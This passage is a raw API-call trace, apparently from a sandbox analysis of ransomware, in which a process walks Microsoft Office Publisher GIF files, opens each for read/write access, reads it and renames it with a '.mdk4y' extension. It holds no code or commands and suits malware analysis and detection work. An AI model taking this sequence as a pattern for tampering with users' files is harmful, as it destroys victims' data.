lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0197.732] AreFileApisANSI () returned 1 [0197.732] GetACP () returned 0x4e4 [0197.732] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PDIR34B.GIF", cchWideChar=11, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="PDIR34B.GIF", lpUsedDefaultChar=0x37dec0) returned 11 [0197.732] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR34B.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir34b.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0197.732] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827296200000) returned 1 [0197.732] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x1179, lpOverlapped=0x0) returned 1 [0197.741] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827297100000) returned 1 [0197.741] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827297100000) returned 1 [0197.741] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR34B.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir34b.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR34B.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir34b.gif.mdk4y")) returned 1 [0197.742] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0197.742] AreFileApisANSI () returned 1 [0197.742] GetACP () returned 0x4e4 [0197.742] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PDIR34F.GIF", cchWideChar=11, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="PDIR34F.GIF", lpUsedDefaultChar=0x37dec0) returned 11 [0197.742] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR34F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir34f.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0197.743] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827297300000) returned 1 [0197.743] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x95dd, lpOverlapped=0x0) returned 1 [0197.744] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827297400000) returned 1 [0197.744] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827297400000) returned 1 [0197.745] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR34F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir34f.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR34F.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir34f.gif.mdk4y")) returned 1 [0197.745] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0197.745] AreFileApisANSI () returned 1 [0197.745] GetACP () returned 0x4e4 [0197.745] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PDIR35B.GIF", cchWideChar=11, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="PDIR35B.GIF", lpUsedDefaultChar=0x37dec0) returned 11 [0197.745] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR35B.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir35b.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0197.746] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827297600000) returned 1 [0197.746] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x11ec, lpOverlapped=0x0) returned 1 [0197.747] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827297700000) returned 1 [0197.747] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827297700000) returned 1 [0197.747] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR35B.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir35b.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR35B.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir35b.gif.mdk4y")) returned 1 [0197.748] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0197.748] AreFileApisANSI () returned 1 [0197.748] GetACP () returned 0x4e4 [0197.748] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PDIR35F.GIF", cchWideChar=11, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="PDIR35F.GIF", lpUsedDefaultChar=0x37dec0) returned 11 [0197.748] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR35F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir35f.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0197.749] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827298100000) returned 1 [0197.751] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x2bb6, lpOverlapped=0x0) returned 1 [0197.752] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827298200000) returned 1 [0197.752] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827298200000) returned 1 [0197.752] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR35F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir35f.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR35F.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir35f.gif.mdk4y")) returned 1 [0197.753] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0197.753] AreFileApisANSI () returned 1 [0197.753] GetACP () returned 0x4e4 [0197.753] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PDIR36B.GIF", cchWideChar=11, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="PDIR36B.GIF", lpUsedDefaultChar=0x37dec0) returned 11 [0197.754] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR36B.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir36b.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0197.754] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827298400000) returned 1 [0197.754] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x23e1, lpOverlapped=0x0) returned 1 [0197.842] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827307200000) returned 1 [0197.842] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827307200000) returned 1 [0197.843] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR36B.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir36b.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR36B.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir36b.gif.mdk4y")) returned 1 [0197.844] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0197.844] AreFileApisANSI () returned 1 [0197.844] GetACP () returned 0x4e4 [0197.844] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PDIR36F.GIF", cchWideChar=11, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="PDIR36F.GIF", lpUsedDefaultChar=0x37dec0) returned 11 [0197.844] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR36F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir36f.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0197.846] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827307600000) returned 1 [0197.846] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x8fd7, lpOverlapped=0x0) returned 1 [0197.866] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827309600000) returned 1 [0197.866] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827309600000) returned 1 [0197.867] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR36F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir36f.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR36F.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir36f.gif.mdk4y")) returned 1 [0197.868] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0197.868] AreFileApisANSI () returned 1 [0197.868] GetACP () returned 0x4e4 [0197.868] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PDIR37F.GIF", cchWideChar=11, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="PDIR37F.GIF", lpUsedDefaultChar=0x37dec0) returned 11 [0197.868] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR37F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir37f.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0197.869] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827309900000) returned 1 [0197.869] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0xd4a3, lpOverlapped=0x0) returned 1 [0197.887] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827311700000) returned 1 [0197.887] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827311700000) returned 1 [0197.888] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR37F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir37f.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR37F.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir37f.gif.mdk4y")) returned 1 [0197.889] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0197.889] AreFileApisANSI () returned 1 [0197.889] GetACP () returned 0x4e4 [0197.889] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PDIR38F.GIF", cchWideChar=11, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="PDIR38F.GIF", lpUsedDefaultChar=0x37dec0) returned 11 [0197.889] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR38F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir38f.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0197.890] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827312000000) returned 1 [0197.890] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0xb819, lpOverlapped=0x0) returned 1 [0197.896] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827312600000) returned 1 [0197.896] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827312600000) returned 1 [0197.897] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR38F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir38f.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR38F.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir38f.gif.mdk4y")) returned 1 [0197.897] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0197.897] AreFileApisANSI () returned 1 [0197.897] GetACP () returned 0x4e4 [0197.897] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PDIR39F.GIF", cchWideChar=11, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="PDIR39F.GIF", lpUsedDefaultChar=0x37dec0) returned 11 [0197.898] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR39F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir39f.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0197.898] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827312800000) returned 1 [0197.898] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0xaf65, lpOverlapped=0x0) returned 1 [0197.899] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827312900000) returned 1 [0197.899] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827312900000) returned 1 [0197.900] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR39F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir39f.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR39F.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir39f.gif.mdk4y")) returned 1 [0197.900] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0197.901] AreFileApisANSI () returned 1 [0197.901] GetACP () returned 0x4e4 [0197.901] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PDIR3B.GIF", cchWideChar=10, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="PDIR3B.GIFF", lpUsedDefaultChar=0x37dec0) returned 10 [0197.901] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR3B.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir3b.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0197.902] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827313200000) returned 1 [0197.902] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x2eda, lpOverlapped=0x0) returned 1 [0197.903] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827313300000) returned 1 [0197.903] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827313300000) returned 1 [0197.903] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR3B.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir3b.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR3B.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir3b.gif.mdk4y")) returned 1 [0197.904] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0197.904] AreFileApisANSI () returned 1 [0197.904] GetACP () returned 0x4e4 [0197.904] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PDIR3F.GIF", cchWideChar=10, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="PDIR3F.GIF", lpUsedDefaultChar=0x37dec0) returned 10 [0197.904] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR3F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir3f.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0197.905] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827313500000) returned 1 [0197.905] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x4647, lpOverlapped=0x0) returned 1 [0197.906] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827313600000) returned 1 [0197.906] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827313600000) returned 1 [0197.906] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR3F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir3f.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR3F.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir3f.gif.mdk4y")) returned 1 [0197.907] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0197.907] AreFileApisANSI () returned 1 [0197.907] GetACP () returned 0x4e4 [0197.907] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PDIR40F.GIF", cchWideChar=11, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="PDIR40F.GIF", lpUsedDefaultChar=0x37dec0) returned 11 [0197.907] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR40F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir40f.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0197.908] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827313800000) returned 1 [0197.908] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x10f19, lpOverlapped=0x0) returned 1 [0197.947] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827317700000) returned 1 [0197.947] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827317700000) returned 1 [0197.948] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR40F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir40f.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR40F.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir40f.gif.mdk4y")) returned 1 [0197.950] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0197.950] AreFileApisANSI () returned 1 [0197.950] GetACP () returned 0x4e4 [0197.950] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PDIR41F.GIF", cchWideChar=11, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="PDIR41F.GIF", lpUsedDefaultChar=0x37dec0) returned 11 [0197.950] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR41F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir41f.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0197.950] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827318000000) returned 1 [0197.950] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x7d5b, lpOverlapped=0x0) returned 1 [0197.964] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827319400000) returned 1 [0197.964] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827319400000) returned 1 [0197.965] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR41F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir41f.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR41F.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir41f.gif.mdk4y")) returned 1 [0197.966] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0197.966] AreFileApisANSI () returned 1 [0197.966] GetACP () returned 0x4e4 [0197.966] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PDIR42F.GIF", cchWideChar=11, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="PDIR42F.GIF", lpUsedDefaultChar=0x37dec0) returned 11 [0197.966] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR42F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir42f.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0197.968] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827319800000) returned 1 [0197.968] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0xdf73, lpOverlapped=0x0) returned 1 [0197.969] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827319900000) returned 1 [0197.969] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827319900000) returned 1 [0197.970] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR42F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir42f.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR42F.GIF.mdk4y" (normalized: "c:\\program files\\microsoft 